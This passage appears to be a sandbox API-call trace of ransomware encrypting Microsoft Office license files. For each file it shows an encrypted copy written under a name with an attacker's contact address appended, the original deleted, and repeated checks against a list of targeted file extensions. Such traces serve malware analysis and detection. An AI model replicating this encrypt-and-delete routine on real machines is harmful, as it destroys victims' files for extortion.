	[0195.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0195.023] GetFileSizeEx (in: hFile=0x5dc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=10659) returned 1
	[0195.023] CloseHandle (hObject=0x5dc) returned 1
	[0195.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 0x220
	[0195.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0195.024] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.024] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0195.025] GetLastError () returned 0x0
	[0195.025] ReadFile (in: hFile=0x5dc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x29a3, lpOverlapped=0x0) returned 1
	[0195.027] WriteFile (in: hFile=0x5d8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0195.028] ReadFile (in: hFile=0x5dc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.028] WriteFile (in: hFile=0x5d8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x112, lpOverlapped=0x0) returned 1
	[0195.029] SetEndOfFile (hFile=0x5d8) returned 1
	[0195.029] CloseHandle (hObject=0x5d8) returned 1
	[0195.029] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.029] SetEndOfFile (hFile=0x5dc) returned 1
	[0195.034] CloseHandle (hObject=0x5dc) returned 1
	[0195.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-pl.xrm-ms")) returned 1
	[0195.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0195.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0195.036] lstrlenW (lpString=".doc") returned 4
	[0195.036] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.036] lstrlenW (lpString=".docx") returned 5
	[0195.036] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.036] lstrlenW (lpString=".pdf") returned 4
	[0195.036] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.036] lstrlenW (lpString=".xls") returned 4
	[0195.036] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.036] lstrlenW (lpString=".xlsx") returned 5
	[0195.036] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.036] lstrlenW (lpString=".ppt") returned 4
	[0195.036] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0195.036] lstrlenW (lpString=".zip") returned 4
	[0195.036] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.036] lstrlenW (lpString=".rar") returned 4
	[0195.036] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.036] lstrlenW (lpString=".bz2") returned 4
	[0195.036] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.036] lstrlenW (lpString=".7z") returned 3
	[0195.036] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0195.036] lstrlenW (lpString=".dbf") returned 4
	[0195.036] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0195.036] lstrlenW (lpString=".1cd") returned 4
	[0195.037] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0195.037] lstrlenW (lpString=".jpg") returned 4
	[0195.037] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0195.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0195.037] lstrlenW (lpString=".doc") returned 4
	[0195.037] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.037] lstrlenW (lpString=".docx") returned 5
	[0195.037] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.037] lstrlenW (lpString=".pdf") returned 4
	[0195.037] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.037] lstrlenW (lpString=".xls") returned 4
	[0195.037] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.037] lstrlenW (lpString=".xlsx") returned 5
	[0195.037] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.037] lstrlenW (lpString=".ppt") returned 4
	[0195.037] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0195.037] lstrlenW (lpString=".zip") returned 4
	[0195.037] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.037] lstrlenW (lpString=".rar") returned 4
	[0195.037] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.037] lstrlenW (lpString=".bz2") returned 4
	[0195.038] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.038] lstrlenW (lpString=".7z") returned 3
	[0195.038] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0195.038] lstrlenW (lpString=".dbf") returned 4
	[0195.038] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0195.038] lstrlenW (lpString=".1cd") returned 4
	[0195.038] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81
	[0195.038] lstrlenW (lpString=".jpg") returned 4
	[0195.038] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.038] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0195.038] lstrlenW (lpString="HomeBusinessR_Retail3-ppd.xrm-ms") returned 32
	[0195.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0195.039] GetFileSizeEx (in: hFile=0x5dc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=22092) returned 1
	[0195.039] CloseHandle (hObject=0x5dc) returned 1
	[0195.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 0x220
	[0195.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0195.040] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.040] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0195.041] GetLastError () returned 0x0
	[0195.041] ReadFile (in: hFile=0x5dc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x564c, lpOverlapped=0x0) returned 1
	[0195.043] WriteFile (in: hFile=0x5d8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0195.045] ReadFile (in: hFile=0x5dc, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.045] WriteFile (in: hFile=0x5d8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x114, lpOverlapped=0x0) returned 1
	[0195.045] SetEndOfFile (hFile=0x5d8) returned 1
	[0195.045] CloseHandle (hObject=0x5d8) returned 1
	[0195.045] SetFilePointerEx (in: hFile=0x5dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.045] SetEndOfFile (hFile=0x5dc) returned 1
	[0195.049] CloseHandle (hObject=0x5dc) returned 1
	[0195.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ppd.xrm-ms")) returned 1
	[0195.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0195.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0195.050] lstrlenW (lpString=".doc") returned 4
	[0195.050] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.050] lstrlenW (lpString=".docx") returned 5
	[0195.050] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.050] lstrlenW (lpString=".pdf") returned 4
	[0195.050] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.051] lstrlenW (lpString=".xls") returned 4
	[0195.051] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.051] lstrlenW (lpString=".xlsx") returned 5
	[0195.051] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.051] lstrlenW (lpString=".ppt") returned 4
	[0195.051] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0195.051] lstrlenW (lpString=".zip") returned 4
	[0195.051] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.051] lstrlenW (lpString=".rar") returned 4
	[0195.051] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.051] lstrlenW (lpString=".bz2") returned 4
	[0195.051] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.051] lstrlenW (lpString=".7z") returned 3
	[0195.051] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0195.051] lstrlenW (lpString=".dbf") returned 4
	[0195.051] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0195.051] lstrlenW (lpString=".1cd") returned 4
	[0195.051] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0195.051] lstrlenW (lpString=".jpg") returned 4
	[0195.051] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0195.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0195.052] lstrlenW (lpString=".doc") returned 4
	[0195.052] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.052] lstrlenW (lpString=".docx") returned 5
	[0195.052] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.052] lstrlenW (lpString=".pdf") returned 4
	[0195.052] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.052] lstrlenW (lpString=".xls") returned 4
	[0195.052] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.052] lstrlenW (lpString=".xlsx") returned 5
	[0195.052] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.052] lstrlenW (lpString=".ppt") returned 4
	[0195.052] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0195.052] lstrlenW (lpString=".zip") returned 4
	[0195.052] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.052] lstrlenW (lpString=".rar") returned 4
	[0195.052] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.052] lstrlenW (lpString=".bz2") returned 4
	[0195.052] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.052] lstrlenW (lpString=".7z") returned 3
	[0195.052] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0195.052] lstrlenW (lpString=".dbf") returned 4
	[0195.052] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0195.052] lstrlenW (lpString=".1cd") returned 4
	[0195.052] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ppd.xrm-ms") returned 82
	[0195.053] lstrlenW (lpString=".jpg") returned 4
	[0195.053] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.053] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0195.053] lstrlenW (lpString="HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 35
	[0195.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0195.185] GetFileSizeEx (in: hFile=0x5dc, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=11613) returned 1
	[0195.185] CloseHandle (hObject=0x5dc) returned 1
	[0195.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 0x220
	[0195.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0195.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0195.346] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.346] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0195.402] GetLastError () returned 0x0
	[0195.402] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2d5d, lpOverlapped=0x0) returned 1
	[0195.404] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2d60, lpOverlapped=0x0) returned 1
	[0195.405] ReadFile (in: hFile=0x5b4, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0195.405] WriteFile (in: hFile=0x5d0, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0195.405] SetEndOfFile (hFile=0x5d0) returned 1
	[0195.405] CloseHandle (hObject=0x5d0) returned 1
	[0195.405] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0195.405] SetEndOfFile (hFile=0x5b4) returned 1
	[0195.408] CloseHandle (hObject=0x5b4) returned 1
	[0195.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0195.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 1
	[0195.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0195.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0195.804] lstrlenW (lpString=".doc") returned 4
	[0195.804] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.804] lstrlenW (lpString=".docx") returned 5
	[0195.804] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.804] lstrlenW (lpString=".pdf") returned 4
	[0195.804] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.804] lstrlenW (lpString=".xls") returned 4
	[0195.804] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.804] lstrlenW (lpString=".xlsx") returned 5
	[0195.804] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.804] lstrlenW (lpString=".ppt") returned 4
	[0195.804] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0195.804] lstrlenW (lpString=".zip") returned 4
	[0195.804] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.804] lstrlenW (lpString=".rar") returned 4
	[0195.804] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.804] lstrlenW (lpString=".bz2") returned 4
	[0195.804] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0195.804] lstrlenW (lpString=".7z") returned 3
	[0195.804] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0195.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0195.805] lstrlenW (lpString=".dbf") returned 4
	[0195.805] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0195.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0195.805] lstrlenW (lpString=".1cd") returned 4
	[0195.805] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0195.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0195.805] lstrlenW (lpString=".jpg") returned 4
	[0195.805] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0195.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0195.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0195.805] lstrlenW (lpString=".doc") returned 4
	[0195.805] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0195.805] lstrlenW (lpString=".docx") returned 5
	[0195.805] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0195.805] lstrlenW (lpString=".pdf") returned 4
	[0195.805] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0195.805] lstrlenW (lpString=".xls") returned 4
	[0195.805] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0195.805] lstrlenW (lpString=".xlsx") returned 5
	[0195.805] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0195.805] lstrlenW (lpString=".ppt") returned 4
	[0195.805] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0195.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0195.805] lstrlenW (lpString=".zip") returned 4
	[0195.805] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0195.805] lstrlenW (lpString=".rar") returned 4
	[0195.805] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0195.805] lstrlenW (lpString=".bz2") returned 4
